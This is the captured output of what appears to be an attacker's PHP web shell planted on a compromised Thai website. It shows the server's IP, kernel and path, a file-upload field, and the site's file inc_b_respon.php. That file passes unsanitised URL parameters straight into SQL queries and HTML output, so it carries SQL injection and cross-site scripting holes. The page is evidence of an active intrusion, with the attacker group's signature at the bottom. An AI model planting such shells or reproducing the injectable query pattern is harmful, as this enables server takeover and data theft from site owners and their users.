1337 3YP455 5H311
:
216.73.216.0
:
119.59.104.17 / www.hrdigest.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
hrdigest
/
public_html
/
UP104D F1L3:
files >> /home/hrdigest/public_html/inc_b_respon.php
<? $_tag = array(); if ($menu=mysql_fetch_array(mysql_query("Select * From `menu_style` Where `cid` = '$_GET[cid]' && `cno` = '$_GET[cno]' "))){ $read_more = $menu["read_more"]; $show_topic = $menu["show_topic"]; $show_detail = $menu["show_detail"]; $show_pic = $menu["show_pic"]; $show_readmore = $menu["show_readmore"]; $show_view = $menu["show_view"]; $show_by = $menu["show_by"]; $show_time = $menu["show_time"]; $readmore_pic = $menu["readmore_pic"]; $open_window = $menu["open_window"]; $open_popup = $menu["open_popup"]; $show_nextpage = $menu["show_nextpage"]; $nextpage_count = $menu["nextpage_count"]; $style_message = $menu["style_message"]; $style_preview = $menu["style_preview"]; $style_line = $menu["style_line"]; $css_style = $menu["css_style"]; $css_border = $menu["css_border"]; $css_color = $menu["css_color"]; $nextpage_count_show = $menu["nextpage_count_show"]; $show_id_icon = $menu["id_icon"]; $id_row = $menu["id_row"]; $p_width = $menu["p_width"]; $p_height = $menu["p_height"]; $text_a = $menu["text_a"]; $h_box = $menu["h_box"]; }else{ $menu = mysql_fetch_array(mysql_query("Select * From `menu` Where `cid` = '$_GET[cid]' && `mem_lock` = '0'")); $read_more = $menu["read_more"]; $show_topic = $menu["show_topic"]; $show_detail = $menu["show_detail"]; $show_pic = $menu["show_pic"]; $show_readmore = $menu["show_readmore"]; $show_view = $menu["show_view"]; $show_by = $menu["show_by"]; $show_time = $menu["show_time"]; $readmore_pic = $menu["readmore_pic"]; $open_window = $menu["open_window"]; $open_popup = $menu["open_popup"]; $show_nextpage = $menu["show_nextpage"]; $nextpage_count = $menu["nextpage_count"]; $style_message = $menu["style_message"]; $style_preview = $menu["style_preview"]; $style_line = $menu["style_line"]; $css_style = $menu["css_style"]; $css_border = $menu["css_border"]; $css_color = $menu["css_color"]; $nextpage_count_show = $menu["nextpage_count_show"]; $p_width = $menu["p_width"]; $p_height = $menu["p_height"]; $h_box = $menu["h_box"]; $text_a = $menu["text_a"]; } if (!empty($p_width)){ $s_w = " width=$p_width "; }else{ $s_w = ""; } if (!empty($p_height)){ $s_h = " height= $p_height "; }else{ $s_h = ""; } if (isset($_GET[cno]) && $_GET[cno]<>0) { $result8 = mysql_query("Select * From `topic` Where `cid` = '$_GET[cid]' && `cno` = '$_GET[cno]' Order By `sort` Desc ,`cno` Desc $s_max ") ; $row = mysql_fetch_array($result8); echo "<span class=main>$row[$l_text]</span>"; } //¢Öé¹Ë¹éÒãËÁè if (isset($_GET[cno]) && $_GET[cno]<>0) { $sub_cno = " && `cno2` = '$_GET[cno]' " ; }else{ $sub_cno = " && `cno2` = 0 "; } $sw = ""; if(!empty($_GET["year"])){ if(!empty($_GET["month"])){ if($_GET["month"] < 10) $month = "0$_GET[month]"; else $month = $_GET["month"]; if(!empty($_GET["day"])){ if($_GET["day"] < 10) $day = "0$_GET[day]"; else $month = $_GET["day"]; $sw = "&& `ctime` Regexp('^$_GET[year]-$month-$day')"; }else{ $sw = "&& `ctime` Regexp('^$_GET[year]-$month')"; } }else{ $sw = "&& `ctime` Regexp('^$_GET[year]-')"; } } $num_max = mysql_num_rows(mysql_query("Select * From `topic` Where `cid` = '$_GET[cid]' $sub_cno $sw ")); $show = "show"; $showmax = $nextpage_count; if ($show_nextpage <> 0 ) { if(empty($_GET["$show"])) $_GET["$show"] = 0; if(empty($_GET["$showmax"])) $_GET["$showmax"] = $nextpage_count ; $s_max = "Limit $_GET[$show], $nextpage_count"; }else{ $show_max = ""; $smax = ""; } $php_board = "page_b.php?cid=$_GET[cid]&cno=$_GET[cno]&cno2=$_GET[cno2]&cname=$_GET[cname]"; $i = 0; $result = mysql_query("Select * From `topic` Where `cid` = '$_GET[cid]' $sub_cno $sw Order By `sort` Desc ,`cno` Desc $s_max ") or die ("Can't Perform Query1"); $count = mysql_num_rows($result); if ($show_nextpage <> 0 && $nextpage_count_show <> "1" ) { echo '<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"><div class=row>'; include("nextpage$show_nextpage.php"); echo '<div><div>'; } $ino = 0; $icc = 0; echo '<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"><div class=row>'; // $width = 100 / $style_preview; // àÃÔèÁ Loop while($row = mysql_fetch_array($result)){ // Code tag if(!empty($row["idcard1"])) $_tag[] = "<a href='page_tag.php?key=$row[idcard1]'>$row[idcard1]</a>"; if(!empty($row["idcard2"])) $_tag[] = "<a href='page_tag.php?key=$row[idcard2]'>$row[idcard2]</a>"; if(!empty($row["idcard3"])) $_tag[] = "<a href='page_tag.php?key=$row[idcard3]'>$row[idcard3]</a>"; // $ino += 1; $cno = $row["cno"]; $dname = $row[$txt_topic]; // ÁÕ¢éÍÁÙŵèÍËÃ×ÍàÅ»èÒ $num_sub = mysql_num_rows(mysql_query("Select * From `topic` Where `cno2` = '$row[cno]' ")); if ($num_sub <> 0 ){ $ns = $row[cno]; }else{ $ns = 0; } $rd_new = mysql_fetch_array(mysql_query("Select * From `form_icon` Where `id`= $row[id_icon] ")) ; if ($rd_new[id]<>0 ){ $icon= "<img src='images/webpage/$rd_new[filepic]' border=0 class=\"img-responsive\">"; }else{ $icon = ""; } if ($show_pic == 1) { if (!empty($row[pic])){ if ($row[s_page]==1) { $sp="<a href='page_gallery_bx.php?cid=$row[cid]&cno=$row[cno]' target=_blank><img src='images/webpage/$row[pic]' border='0' class=\"img-responsive\" style='border:0px solid #cccccc;padding:2px $s_w $s_h></a>"; }elseif (!empty($row[linkurl])) { $sp="<a href='$row[linkurl]'><img src='images/webpage/$row[pic]' border='0' class=\"img-responsive\" style='border:0px solid #cccccc;padding:2px' $s_w $s_h></a>"; }else{ $sp=add_link($read_more,$open_window,$open_popup,'<img src="images/webpage/'.$row[pic].'" class="img-responsive" $s_w $s_h style="padding:0 4px 4px 4px;">',$cno,$ns); } }else{ if ($row[s_page]==1) { $sp="<a href='page_gallery_bx.php?cid=$row[cid]&cno=$row[cno]' target=_blank><img src='images/nopic.jpg' border='1' style='border:1px solid #cccccc;padding:2px' $s_w $s_h class=\"img-responsive\"></a>"; }else{ $sp=add_link($read_more,$open_window,$open_popup,"<div style=\"width:100%;height:200px;color:#C9C9C9;font-size:30px;padding-top:10%;\" ><span class=\"glyphicon glyphicon-camera\"></span><br>NO PHOTO</div>",$cno,$ns); } } }else{ $sp=""; } if ($text_a==1){ $t_show = "center"; }else{ $t_show = "left"; } if ($show_topic == 1) { if ($row[s_page]==1) { $st="<b><a href='page_gallery_bx.php?cid=$row[cid]&cno=$row[cno]' target=_blank>$row[$txt_topic]</a></b> $icon<br>"; }elseif (!empty($row[linkurl])) { $st="<b><a href='$row[linkurl]'>$row[$txt_topic]</a></b> $icon<br>"; }else{ $st=add_link($read_more,$open_window,$open_popup,"<b>$row[$txt_topic]</b> $icon<br>",$cno,$ns); } }else{ $st=""; } if ($show_detail == 1) { $sd = "$row[$txt_topic2]<br>"; }else{ $sd = "";} if ($show_view == 1) { $sv= $row["addview"]."<br>"; }else{ $sv="";} if ($show_by == 1) { $sb= $row[$addname]."<br>"; }else{ $sb="";} if ($show_time == 1) { $stime= $row["pd_date"]."<br>"; }else{ $stime="";} if ($show_readmore == 1) { if (!empty($row[linkurl])) { if($_SESSION["version"] == "eng"){ $sr="<br><a href='$row[linkurl]'><div class=btn btn-block btn-lg btn-info>Detail</div></a>"; }else{ $sr="<br><a href='$row[linkurl]'><div class=btn btn-block btn-lg btn-info>รายละเอียด</div></a>"; } }else{ if($_SESSION["version"] == "eng"){ $sr=add_link($read_more,$open_window,$open_popup,"<div class=btn btn-block btn-lg btn-info>Detail</div>",$cno,$ns); }else{ $sr=add_link($read_more,$open_window,$open_popup,"<div class=btn btn-block btn-lg btn-info>รายละเอียด</div>",$cno,$ns); } } }else{ $sr=""; } $mix_text = $st.$sd.$sv.$sb.$stime.$sr; // àÃÔèÁ Style ¡ÒÃÇÒ§ ÃÙ»¡Ñº ¤Ó¾Ù´ if ($style_message == 1) { $style_m = '<div class="col-lg-3 col-md-3 col-sm-4 col-xs-12" align="'.$t_show.'"><div style="padding:5px;">'.$sp.'</div></div> <div class="col-lg-9 col-md-9 col-sm-8 col-xs-12" align="'.$t_show.'"><div style="padding:5px;">'.$mix_text.'</div></div>'; }elseif($style_message == 2) { $style_m = '<div class="col-lg-9 col-md-9 col-sm-8 col-xs-12" align="'.$t_show.'">'.$mix_text.'</div> <div class="col-lg-4 col-md-3 col-sm-3 col-xs-12" align="'.$t_show.'">'.$sp.'</div>'; }elseif($style_message == 3) { $style_m = '<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="'.$t_show.'">'.$sp.'</div> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="'.$t_show.'">'.$mix_text.'</div>'; }elseif($style_message == 4) { $style_m = '<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="'.$t_show.'">'.$mix_text.'</div> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="'.$t_show.'">'.$sp.'</div>'; }else{ $style_m = '<div class="col-lg-3 col-md-3 col-sm-4 col-xs-12" align="'.$t_show.'">'.$sp.'</div> <div class="col-lg-9 col-md-9 col-sm-8 col-xs-12" align="'.$t_show.'">'.$mix_text . $icon.'</div>'; } // àÃÔèÁ Style Layout if ( $style_preview == 7){ $width = 100 / 2; $w_lg = 6; $w_md = 6; $w_sm = 6; $w_xs = 12; }else{ $width = 100 / $style_preview; if ($style_preview==1){ $w_lg = 12; $w_md = 12; $w_sm = 12; $w_xs = 12; }elseif($style_preview==2){ $w_lg = 6; $w_md = 6; $w_sm = 6; $w_xs = 12; }elseif($style_preview==3){ $w_lg = 4; $w_md = 4; $w_sm = 6; $w_xs = 12; }elseif($style_preview==4){ $w_lg = 3; $w_md = 3; $w_sm = 6; $w_xs = 12; }elseif($style_preview==5){ $w_lg = 2; $w_md = 2; $w_sm = 4; $w_xs = 12; } } if ($h_box ==""){ //$h_box= 200; } echo '<div class="col-lg-'.$w_lg.' col-md-'.$w_md.' col-sm-'.$w_sm.' col-xs-'.$w_xs.'" style="border:0px #006600 solid;padding:5px;" align="left">'.$style_m.'</div>'; } echo '</div></div>'; if ($show_nextpage <> 0 && $nextpage_count_show <> "0") { echo '<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" style="margin-bottom:10px;">'; include("nextpage$show_nextpage.php"); echo '</div>'; } ?>
1337r0j4n | 13379H0575 53CURI7Y 734M